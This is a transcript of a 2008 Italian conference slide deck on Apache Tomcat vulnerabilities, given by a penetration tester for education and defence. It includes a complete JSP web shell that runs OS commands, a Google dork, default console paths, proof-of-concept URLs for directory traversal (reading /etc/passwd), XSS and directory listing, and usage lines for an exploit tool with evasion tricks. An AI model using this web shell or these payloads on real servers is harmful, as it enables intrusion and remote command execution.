SMAU 2008: "Vulnerabilità in Tomcat: l'evoluzione della specie"

23
L’evoluzione della specie …il mondo della sicurezza è una giungla! SMAU 2008 Vulnerabilità in Apache Tomcat

description

Apache Tomcat è probabilmente una delle più note implementazioni delle tecnologie Java Servlet e Java Server Pages. Sebbene l’Apache Software Foundation considera la sicurezza dei suoi prodotti come un requisito di primaria importanza, nel corso degli ultimi anni sono state scoperte numerose vulnerabilità. Queste debolezze permettono attacchi di cross site scripting, directory listing, directory traversal, escalation dei privilegi sino all’esecuzione di codice arbitrario. Analizzando il passato, cercheremo di identificare il futuro di questo application server in termini di sicurezza. http://www.ikkisoft.com

Transcript of SMAU 2008: "Vulnerabilità in Tomcat: l'evoluzione della specie"

Page 1: SMAU 2008: "Vulnerabilità in Tomcat: l'evoluzione della specie"

L’evoluzione della specie

…il mondo della sicurezza è una

giungla!

SMAU 2008

Vulnerabilità in Apache Tomcat

Page 2: SMAU 2008: "Vulnerabilità in Tomcat: l'evoluzione della specie"

Di cosa parliamo oggi...

• Quali sono le principali vulnerabilità scoperte in Apache Tomcat

• Come sfruttare queste debolezze, dal punto di vista dell'aggressore

• Quali vulnerabilità ci dobbiamo aspettare nel futuro prossimo

• Attualmente lavoro come pentester in una grande banca internazionale

• Ricerco vulnerabilità for fun (and profit)• Mi interesso di web application security

ed ethical hacking• Sono membro della comunita’ OWASP

btw: partecipate al capitolo Italiano :)• luca.carettoni[at]ikkisoft[dot]com

Page 3: SMAU 2008: "Vulnerabilità in Tomcat: l'evoluzione della specie"

Security in depth

Network Security

Operating System Security

Database Security

Web Server Security

Application Security

Physical Security

Page 4: SMAU 2008: "Vulnerabilità in Tomcat: l'evoluzione della specie"

Apache Tomcat

• Apache Tomcat è un moderno Servlet container sviluppato dall'Apache Software Foundation

• http://tomcat.apache.org/• Pure 100% Java Application Server• Open Source, facile da installare,

abbastanza performante...quindi, praticamente perfetto ? Non proprio

• Implementa diverse versioni delle tecnologie Java Servlet e Java Server Pages (JSP)

3.3.2 (deprecata)2.2/1.14.1.372.3/1.25.5.262.4/2.06.0.182.5/2.1

Apache Tomcat versionServlet/JSP Specification

Page 5: SMAU 2008: "Vulnerabilità in Tomcat: l'evoluzione della specie"

Powered by Apache Tomcat

• E' stato scaricato più di 10 milioni di volte. Ipotizziamo che solamente l'1% di questi download ha portato all'utilizzo in produzione, il risultato è assolutamente sconvolgente

• Parliamo di più di 100000 installazioni

• Largamente utilizzato da numerose organizzazioni e società: WalMart, O'Reilly On Java, JBOSS ed il portale Italiano VolareGratis.com

• Si stima che circa la metà della global Fortune 500 utilizzi in una qualche installazione Tomcat e derivati

• Date un occhio alla popolarità del sito: http://people.apache.org/~vgritsenko/stats/projects/tomcat.html

Page 6: SMAU 2008: "Vulnerabilità in Tomcat: l'evoluzione della specie"

Tomcat in the wild...

• Google dork:

12,600 for intitle:"Directory Listing

For /" + inurl:tomcat-docs tomcat

Page 7: SMAU 2008: "Vulnerabilità in Tomcat: l'evoluzione della specie"

Tactical Exploiting 1/3

• Spesso l'aggressore non deve nemmeno sfruttare vulnerabilità

• Sono gli amministratori che lasciano accessibile una risorsa preziosa

• Default Manager Consolehttp://x.x.x.x:8080/manager/html

• LambdaProbe Console http://x.x.x.x:9099/probe/

• Spesso esposta• Spesso protetta da password non robuste• Per la mia esperienza, troppo spesso !

Page 8: SMAU 2008: "Vulnerabilità in Tomcat: l'evoluzione della specie"

Tactical Exploiting 2/3

Page 9: SMAU 2008: "Vulnerabilità in Tomcat: l'evoluzione della specie"

• Oltre ad ottenere informazioni sulla configurazione e sullo stato dei sistemi, un aggressore può alterare le configurazioni e compromettere l'ambiente di fruizione !

• Vediamo, in breve, come:

Tactical Exploiting 3/3

<%@ page import="java.io.*" %><%try { Runtime rt = Runtime.getRuntime(); String cmd = request.getParameter("cmd"); Process ps = rt.exec(cmd); BufferedReader outReader = new BufferedReader(new InputStreamReader( ps.getInputStream())); BufferedReader errReader = new BufferedReader(new InputStreamReader( ps.getErrorStream())); String outLine = null; String errLine = null; out.println("<pre>"); while ((outLine = outReader.readLine()) != null || (errLine = errReader.readLine()) != null) { if (outLine != null) out.println("out: " + outLine); if (errLine != null) out.println("err: " + errLine); } out.println("</pre>"); outReader.close(); errReader.close(); } catch (Exception ex) { out.println("Exception message. Some problem?!?"); ex.printStackTrace(); }%>

Page 10: SMAU 2008: "Vulnerabilità in Tomcat: l'evoluzione della specie"

Apache Tomcat - Cronologia

4.x

5.0.x

5.5.x

6.x

Fonte: en.wikipedia.org

• La code base iniziale e' stata donata da Sun all' Apache Software Foundation nel 1999

• La prima versione ufficiale è stata la v3.0

La versione attuale è la 6.0.18 (ad oggi, 18/10/08)

4.1.31 4.1.36

5.0.0 5.0.285.0.30

5.5.05.5.1

5.5.45.5.7

5.5.95.5.12

5.5.155.5.16

5.5.17

5.5.205.5.23

5.5.25 5.5.26

6.0.0 6.0.106.0.13

6.0.14

6.0.166.0.18

2002 2003 2004 2005 2006 2007 2008

Page 11: SMAU 2008: "Vulnerabilità in Tomcat: l'evoluzione della specie"

Vulnerabilità in Tomcat 1/2

• #81 Vulnerabilità segnalate• #44 CVE (vulnerabilità univoche)

• Vulnerabilità per versione:Apache Tomcat JK Connectors: #3 CVEApache Tomcat 4.x: #35 CVEApache Tomcat 5.x: #24 CVEApache Tomcat 6.x: #19 CVE

Source: http://tomcat.apache.org/security.html (11 September 2008)

Page 12: SMAU 2008: "Vulnerabilità in Tomcat: l'evoluzione della specie"

Vulnerabilità in Tomcat 2/2

CVE-2001-0917 CVE-2002-0493 CVE-2002-0682 CVE-2002-0935 CVE-2002-1148 CVE-2002-1394 CVE-2002-1567 CVE-2002-1895 CVE-2002-2006 CVE-2002-2008 CVE-2002-2009 CVE-2003-0866 CVE-2005-2090 CVE-2005-3164 CVE-2005-3510 CVE-2005-4703 CVE-2005-4836 CVE-2005-4838 CVE-2006-3835

CVE-2006-7195 CVE-2006-7196 CVE-2006-7197 CVE-2007-0450 CVE-2007-0774 CVE-2007-1355 CVE-2007-1358 CVE-2007-1858 CVE-2007-1860 CVE-2007-2449 CVE-2007-2450 CVE-2007-3382 CVE-2007-3383 CVE-2007-3385 CVE-2007-3386 CVE-2007-5333 CVE-2007-5342 CVE-2007-5461 CVE-2007-6286

Source: http://tomcat.apache.org/security.html (11 September 2008)

CVE-2008-0002 CVE-2008-0128 CVE-2008-1232 CVE-2008-1947 CVE-2008-2370 CVE-2008-2938

Page 13: SMAU 2008: "Vulnerabilità in Tomcat: l'evoluzione della specie"

Vulnerabilità per anno

2001 2002 2003 2005 2006 2007 2008

0

2

4

6

8

10

12

14

16

18

CVEs

Page 14: SMAU 2008: "Vulnerabilità in Tomcat: l'evoluzione della specie"

Vulnerabilità per severità

LowHighMedium

• Low: Info Disclosure, Denial of Service• Medium: Sensitive Info Disclosure, Cross

Site Scripting, Session Hijacking • High: Directory Traversal, Lettura/Scrittura

File Arbitrari, Esecuzione di Codice Arbitrario

Page 15: SMAU 2008: "Vulnerabilità in Tomcat: l'evoluzione della specie"

Qualche esempio…

Page 16: SMAU 2008: "Vulnerabilità in Tomcat: l'evoluzione della specie"

• Directory Traversal Vulnerability • Author: Simon Ryeo• Severity: High • Version Affected: 6.0-6.0.16, 5.5-5.5.26, 4.1.x• Exploit Proof-of-concept:

http://www.example.com/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd

• Note: context.xml oppure server.xml deve permettere allowLinking e URIencoding come “UTF-8”.

UTF-8 Encoding2 bytes, 11bits, 110bbbbb 10bbbbbb%c0%ae = “.”%c0%af = “/”

CVE-2008-2938

Page 17: SMAU 2008: "Vulnerabilità in Tomcat: l'evoluzione della specie"

• Multiple Cross Site Scripting (XSS)• Author: Unknown (reported to JPCERT)• Severity: Medium• Version Affected: 6.0-6.0.13, 5.0-5.0.30, 5.5-

5.5.24, 4.0-4.0.6, 4.1-4.1.36• Exploit Proof-of-concept:

http://www.example.com/jsp-examples/snp/snoop.jsp;[xss]

• Note: Nessun tipo di validazione. Il classico vettore di attacco <script>alert(123);</script> viene correttamente inoltrato

CVE-2007-2449

Page 18: SMAU 2008: "Vulnerabilità in Tomcat: l'evoluzione della specie"

• Directory Listing Vulnerability • Author: ScanAlert.s Enterprise Services Team• Severity: Medium• Version Affected: 5.0-5.0.30, 5.5-5.5.12, 4.0-

4.0.6, 4.1-4.1.31• Exploit Proof-of-concept:

http://www.example.com/;index.jsp http://www.example.com/help/;help.do

• Note: Vulnerabile invocando qualsiasi risorsa (estensione) valida, anche se non esistente, preceduta da un punto e virgola

CVE-2006-3835

Page 19: SMAU 2008: "Vulnerabilità in Tomcat: l'evoluzione della specie"

Tomcat ZOOThe «all-in-one» exploit

• Pentesting tool, specifico per verificare vulnerabilità note di Apache Tomcat

• Sviluppato in PHP (richiede solo –enable-cli)

• Rilasciato GPL v2

• Attualmente copre il 27% dei CVE per Tomcat:

* CVE-2008-2938 * CVE-2006-3835 * CVE-2007-3385* CVE-2008-2370 * CVE-2006-7196 * CVE-2007-3386* CVE-2008-1947 * CVE-2007-2449 * CVE-2007-5333* CVE-2008-1232 * CVE-2007-3382 * CVE-2007-5461

---------------[ Script Options (basic) ]------------------

Usage:php TomcatZOO.php host port proxyhost: target serverport: the web port, usually 8080proxy: use a proxy defined as IP:PORT:USER:PASS (optional)

Example:php TomcatZOO.php www.example.com 8080php TomcatZOO.php www.example.com 80 127.0.0.1:1234::php TomcatZOO.php www.example.com 80 127.0.0.1:8080:ikki:pass

Page 20: SMAU 2008: "Vulnerabilità in Tomcat: l'evoluzione della specie"

Caratteristiche avanzate: Supporto HTTP (senza l'uso di libcurl) Supporto Proxy Opzione di debug Personalizzazione User-Agent Primitive tecniche di evasione

1: fake HTTP GET/POST parameters

2: random case sensitivity

3: Windows directory separator \ instead of /

4: URL encoding applied to URI, HTTP pars and header

ToDo: Supporto HTTPS (per ora utilizzate l'ottimo

www.stunnel.org. Thx Michal!) Coprire la globalità delle vulnerabilità di Tomcat

analizzabili durante black box testing

Tomcat ZOOThe «all-in-one» exploit

Page 21: SMAU 2008: "Vulnerabilità in Tomcat: l'evoluzione della specie"

Tomcat ZOOThe «all-in-one» exploit

• Disponibile prossimamente (entro fine anno)

• Lo troverete qui: http://www.ikkisoft.com/tomcatzoo/

• E' un tool per ethical hacking !

Page 22: SMAU 2008: "Vulnerabilità in Tomcat: l'evoluzione della specie"

E nel futuro...• Ancora problematiche di validazione dell'input,

sebbene il codice si sta stabilizzando• Sicuramente ancora Denial of Service, considerando la

numerosità e la complessità dei componenti• Sicuramente ancora Cross-Site Scripting• (Tendenzialmente) nessun buffer overflow.

I componenti non sviluppati in Java sono limitati

• Come difenderci quindi?• Reattività: mantenersi aggiornati e preparare già ora

un ambiente di test dove provare le future release, prima della messa in produzione. Estote Parati !

• Online patching: Application firewall e simili, pronti per essere configurati ad-hoc appena viene rilasciata una nuova vulnerabilità

Page 23: SMAU 2008: "Vulnerabilità in Tomcat: l'evoluzione della specie"

Contatti, Domande

• Grazie dell'attenzione! Domande ?!?

Luca Carettoniluca.carettoni[at]ikkisoft[dot]comhttp://www.ikkisoft.com